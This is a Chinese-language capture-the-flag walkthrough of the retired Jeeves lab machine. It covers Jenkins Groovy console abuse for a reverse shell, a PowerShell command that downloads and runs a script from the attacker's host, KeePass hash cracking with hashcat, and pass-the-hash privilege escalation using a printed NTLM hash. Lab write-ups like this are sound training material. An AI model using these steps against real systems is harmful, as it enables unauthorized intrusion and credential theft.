概述 (Overview)
HOST: 10.10.10.63
OS: Windows
发布时间: 2017-11-12
完成时间: 2021-10-23
机器作者: mrb3n
困难程度: MEDIUM
机器状态: 退休
MACHINE TAGS: #PowerShell #Jenkins #PassTheHash
攻击链 (Kiillchain)
首先使用 Nmap 对目标服务进行端口枚举,通过对 Web 服务进行目录枚举得到隐藏的 Jenkins 服务。利用未授权访问执行命令控制台脚本,成功拿到立足点。
对用户目录进行信息收集时发现 KeePass Password 存储数据库,尝试 Hash 碰撞得到数据访问的明文密码。最终利用数据存储中的 LM:NTLM 进行 Hash 传递完成权限提升。
枚举(Enumeration)
常规使用 Nmap 对目标服务器进行开放端口枚举:
PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Ask Jeeves 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 445/tcp open microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 50000/tcp open http syn-ack ttl 127 Jetty 9.4.z-SNAPSHOT |_http-server-header: Jetty(9.4.z-SNAPSHOT) |_http-title: Error 404 Not Found Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows
从结果中可以知道目标服务是 Windows 系统,存在一个不常见的 50000 端口,运行HTTP服务。
Port 80 - HTTP
浏览器访问 80 端口上的HTTP服务,看到提供搜索服务:
对这个功能进行简单的调试,发现会跳转到 /error.html?
路径。
但是很奇怪,鼠标点击页面内容并不能进行文字选择,查看页面源代码发现就是一张图片:
Port 50000 - HTTP
在对 80 端口枚举尝试无果后关注 50000 端口,默认是一个 404 状态的页面:
使用 feroxbuster 工具对 URL 进行目录枚举,尝试看是否存在隐藏内容:
立足点(Foothold)
从结果中看到存在一个 /askjeeves
路径,访问后看到 Jenkins 服务,存在未授权访问能访问管理页面:
查看版本为 ver. 2.87
,首先尝试访问 Groovy 脚本控制台,发现功能存在。这意味着可以使用Groovy 脚本进行命令执行,使用它反弹shell。
使用文章中对应系统的 script,运行后得到了反弹 Shell 获得初步的立足点。
随后在 kohsuke 用户下找到了 user flag。
权限提升(Privilege Escalation)
首先尝试从 Jenkins 中找凭证信息,尝试看能不能找到明文凭证。secrets\master.key、secrets\hudson.util.Secret 文件都存在,但没有 credentials.xml,说明 Jenkins 服务并没有保存过这类信息。
在信息收集过程中发现 Shell 连接不稳定,就改用 MSF 进行会话维持。本地起一个 Web 服务,PowerShell 加载运行完成上线:
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).downloadString('http://10.10.17.64/Shell.ps1')"
在 CMD 中使用 findstr 命令进行字符串匹配搜索,发现在 config.xml 文件中存在一组 hash:
C:\Users\Administrator\.jenkins>findstr /si password *.xml *.ini *.txt+
users\admin\config.xml: <passwordHash>#jbcrypt:$2a$10$QyIjgAFa7r3x8IMyqkeCluCB7ddvbR7wUn1GmFJNO2jQp2k8roehO</passwordHash>
可惜解不开,随后使用 tree 命令查看下文件夹树形信息,发现存在一个 CEH.kdbx 文件。根据文件后缀名进行搜索,得知它是 Windows 免费密码管理器 KeePass Password Safe 创建的文件,用来存储密码的加密数据库,该数据库只能使用用户设置的主密码进行查看。
开始进行明文密码枚举,使用 keepass2john 生成用于碰撞的 hash:
接着使用 john 结合默认字典进行枚举:
john ./CEH.hash -w /usr/share/wordlists/rockyou.txt --format=KeePass
运行后发现无法解出来,改为用 hashcat 又进行了一次,结果能成功得到明文密码。
hashcat -m 13400 ./hash /usr/share/wordlists/rockyou.txt
拿到明文密码后,直接使用 GUI 工具进行查看,在里面的到一组 hash:
# Install kpcli
$ apt-get install kpcli libterm-readline-gnu-perl libdata-password-perl
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
结合目标系统是 windows,那么这组 hash 很有可能就是 LM:NTLM,使用 cme 进行尝试:
很好,就是 admin 的 hash,hash传递成功完成提权。
隐藏的 ROOT Flag
尝试在管理员的桌面文件夹寻找 flag,发现存在一个 hm.txt 的文件,但是无法查看提示锁定。
怀疑存在隐藏,在 dir 中加入 /R 参数出现 hm.txt:root.txt:$DATA 文件。
通过搜索了解到含有 :$DATA 结尾的文件,微软文件中叫文件流(File Streams)也有叫 Alternate Data Streams (ADS) 的,文件流可以做为执行文件从命令行执行,但它们不会显示在 Windows 资源管理器(或控制台)中。因为它们很难找到,所以黑客经常使用它们来隐藏他们已经入侵的机器上的文件(可能是 rootkit 的文件)。
When specified from the Windows shell command line, the full name of a stream is “filename:stream name:stream type”, as in the following example: “myfile.dat:stream1:$DATA”.
File Streams - https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams
运行 more
命令成功得到 root flag。
参考
- Alternate Data Streams (ADS) - https://infosecwriteups.com/alternate-data-streams-ads-54b144a831f1